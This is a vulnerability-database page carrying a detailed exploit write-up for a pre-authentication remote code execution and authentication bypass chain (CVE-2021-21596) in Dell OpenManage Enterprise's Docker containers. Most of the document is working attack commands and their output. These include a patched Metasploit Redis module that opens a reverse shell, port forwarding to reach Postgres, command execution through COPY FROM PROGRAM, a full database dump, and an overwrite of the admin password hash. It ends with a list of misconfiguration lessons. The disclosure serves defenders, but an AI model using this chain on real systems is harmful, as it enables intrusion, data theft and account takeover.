logo
DATABASE RESOURCES PRICING ABOUT US

Dell OpenManage Enterprise docker实例预认证RCE认证绕过漏洞(CVE-2021-21596)

Description

Details - Remote Auth Bypass with 2 pre-auth RCEs in docker instances There is a chain of pre-auth vulnerabilities allowing to: get a shell on the redis container, as redis get a shell on the postgres container, as postgres get a full access to the postgres database bypass authentication on the web interface as admin Due to some requirements in the exploit chain, the attacker needs to be on the same subnet as the target (same LAN, without a gateway between the target and the attacker). The attack scenario is: attacker will own the redis running in a container inside the virtual machine running Dell OpenManage Enterprise and get a shell inside this container attacker will use the shell inside the redis container as a relay to get access to the remote postgresql server attacker will get a shell on the postgresql server attacker will redefine a new password for the web interface and will dump the entire postgresql server attacker will get an access on the web interface as admin The network flow is: Attacker(192.168.1.102) -> redis(169.254.255.3, routed by 192.168.1.100) -> Posgres(169.254.255.2) IPs used in this setup: 192.168.1.100: target virtual machine running Dell OpenManage Enterprise. 192.168.1.102: attacker machine, running Kali. Internal IPs inside Dell OpenManage Enterprise, by default, already configued by the solution: 169.254.255.2 is the internal IP of the postgres container running inside the virtual machine running Dell OpenManage Enterprise. 169.254.255.3 is the internal IP of the redis container running inside the virtual machine running Dell OpenManage Enterprise. ``` [root@openmanage-enterprise /]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ecf97860f111 redis:latest "docker-entrypoint.s" 2 hours ago Up 2 hours 127.0.0.1:6379->6379/tcp redis e1e82315ec5b mcsi/omeproductionimage:2.6.0.43 "docker-entrypoint.s" 2 hours ago Up 2 hours 2345/tcp, 127.0.0.1:5432->5432/tcp primarydatabase ``` Shell and Metasploit session: It is required to add a route to the internal IP of the redis container running inside OpenManage Enterprise: ``` kali# route add -host 169.254.255.3 gw 192.168.1.100 kali# traceroute -nI 169.254.255.3 traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets 1 192.168.1.100 0.775 ms 0.762 ms 1.060 ms 2 169.254.255.3 1.911 ms 1.922 ms 1.893 ms ``` On the 3.6.1 version, pings are now dropped. Using tcptraceroute: ``` kali# tcptraceroute 169.254.255.3 6379 Running: traceroute -T -O info -p 6379 169.254.255.3 traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets 1 192.168.1.100 (192.168.1.100) 0.489 ms 0.440 ms 0.545 ms 2 169.254.255.3 (169.254.255.3) <syn,ack> 0.852 ms 0.821 ms 0.720 ms ``` An attacker can now reach the redis and postgres docker instances because iptables is not correctly configured and allow the 2 services to be reachable from the WAN. Also, by default, IP forwarding is enabled: ``` [root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding net.ipv4.conf.all.forwarding = 1 ``` Why not directly reaching Postgres ? By default, ACLs defined in Postgres configuration only allow connections from the 169.254.255.0/24 range, thus it is required to reach the redis interface available on the 169.254.255.3 IP and then use redis as a relay to reach the postgres instance. ``` local postgres postgres trust host enterprisedb core_admin ::1/128 trust host enterprisedb core_admin 127.0.0.1/32 trust host enterprisedb core_admin 169.254.255.1/24 trust local enterprisedb core_admin trust local replication rep trust host replication rep 169.254.255.1/24 trust ``` When trying to connect directly to the IP of Postgres, we can see it is ACL-blocked (after adding a route to 169.254.255.2): ``` kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432 kali# psql: error: could not connect to server: FATAL: no pg_hba.conf entry for host "192.168.1.102", user "core_admin", database "enterprisedb", SSL off ``` We can test if we can reach directly the redis daemon, running inside the redis docker: ``` kali# telnet 169.254.255.3 6379 Trying 169.254.255.3... Connected to 169.254.255.3. Escape character is '^]'. TEST -ERR unknown command `TEST`, with args beginning with: config set dir /tmp +OK ^]q telnet> q Connection closed. ``` We can reach redis, time to get RCE using master/slave replication using metasploit. On the attacker machine, it is required to update the `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb` file to use a writable directory for the user `redis`: Patch `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb` to add: ``` 131a132 > redis_command('CONFIG', 'SET', 'dir', '/tmp') ``` Metasploit session: ``` ali# msfconsole msf5 > use exploit/linux/redis/redis_unauth_exec msf5 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 192.168.1.102 SRVHOST => 192.168.1.102 msf5 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.102 LHOST => 192.168.1.102 msf5 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 169.254.255.3 RHOSTS => 169.254.255.3 msf5 exploit(linux/redis/redis_unauth_exec) > run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] 169.254.255.3:6379 - Compile redis module extension file [+] 169.254.255.3:6379 - Payload generated successfully! [*] 169.254.255.3:6379 - Listening on 192.168.1.102:6379 [*] 169.254.255.3:6379 - Rogue server close... [*] 169.254.255.3:6379 - Sending command to trigger payload. [*] Sending stage (3021284 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.100:60572) at 2020-07-11 12:59:57 -0400 [!] 169.254.255.3:6379 - This exploit may require manual cleanup of './mkmiq.so' on the target meterpreter > ls Listing: /tmp ============= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100644/rw-r--r-- 46808 fil 2020-07-09 08:59:55 -0400 mkmiq.so meterpreter > shell Process 19 created. Channel 1 created. id uid=999(redis) gid=999(redis) groups=999(redis) exit meterpreter > ``` Note, with a recent metasploit, the exploit has been moved to exploit/linux/redis/redis_replication_cmd_exec. The diff is now: ``` diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb 137a138 > redis_command('CONFIG', 'SET', 'DIR', '/tmp') ``` This works with all openmanage version (up to the latest version - 3.6.1). After getting a shell as redis inside the redis docker, it is time to add a port forwarding to the postgresql, in order to bypass ACLs: ``` meterpreter > portfwd add -l 5432 -p 5432 -r 169.254.255.2 [*] Local TCP relay created: :5432 <-> 169.254.255.2:5432 ``` On another shell, an attacker will get code execution inside the PGSQL container: ``` kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432 psql (12.1 (Debian 12.1-2), server 11.6) Type "help" for help. enterprisedb-# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges --------------+------------+----------+-------------+-------------+----------------------- enterprisedb | core_admin | UTF8 | en_US.UTF-8 | en_US.UTF-8 | postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (4 rows) enterprisedb=# DROP TABLE IF EXISTS cmd_exec; DROP TABLE enterprisedb=# CREATE TABLE cmd_exec(cmd_output text); CREATE TABLE enterprisedb=# COPY cmd_exec FROM PROGRAM 'id'; COPY 1 enterprisedb=# SELECT * FROM cmd_exec; cmd_output ------------------------------------------------------- uid=26(postgres) gid=26(postgres) groups=26(postgres) (1 row) enterprisedb=# ``` Dump of database: ``` kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin > dump.sql ``` Time to redefine the administrator password: Passwords are located in `encryptedstring` table: ``` kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432 enterprisedb=# SELECT * FROM encryptedstring; 3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe 4 | system 1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2 2 | admin ``` Change admin password into `x`: ``` kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432 enterprisedb=# UPDATE encryptedstring SET encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' WHERE id=1; UPDATE 1 enterprisedb=# ``` Now, use admin / x on the web interface ( http://192.168.1.100/ ). After reversing some java code, passwords are blowfish 10 rounds: ``` kali# python3 Python 3.7.5 (default, Oct 27 2019, 15:43:29) [GCC 9.2.1 20191022] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import bcrypt >>> passwd = b'x' >>> salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or bcrypt.gensalt(rounds=10) >>> hashed = bcrypt.hashpw(passwd, salt) >>> print(hashed) b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' >>> ``` The main takeways in this setup are: - Incorrect iptables firewall for Postgres and Redis - only the main IP of the appliance is correctly firewalled, docker instances have these 2 ports open - IP forwarding is enabled - Lack of authentication for Redis, - Lack of authentication for Postgres, only based on IP with an errror when defining the netmask: 169.254.255.1/24 is being used instead of 169.254.255.1/32 or 169.254.255.0/24 - Incorrect ACL for Postgres - SELinux is useless in this case because all actions are legit - Custom 'encryption' everywhere to waste time


Related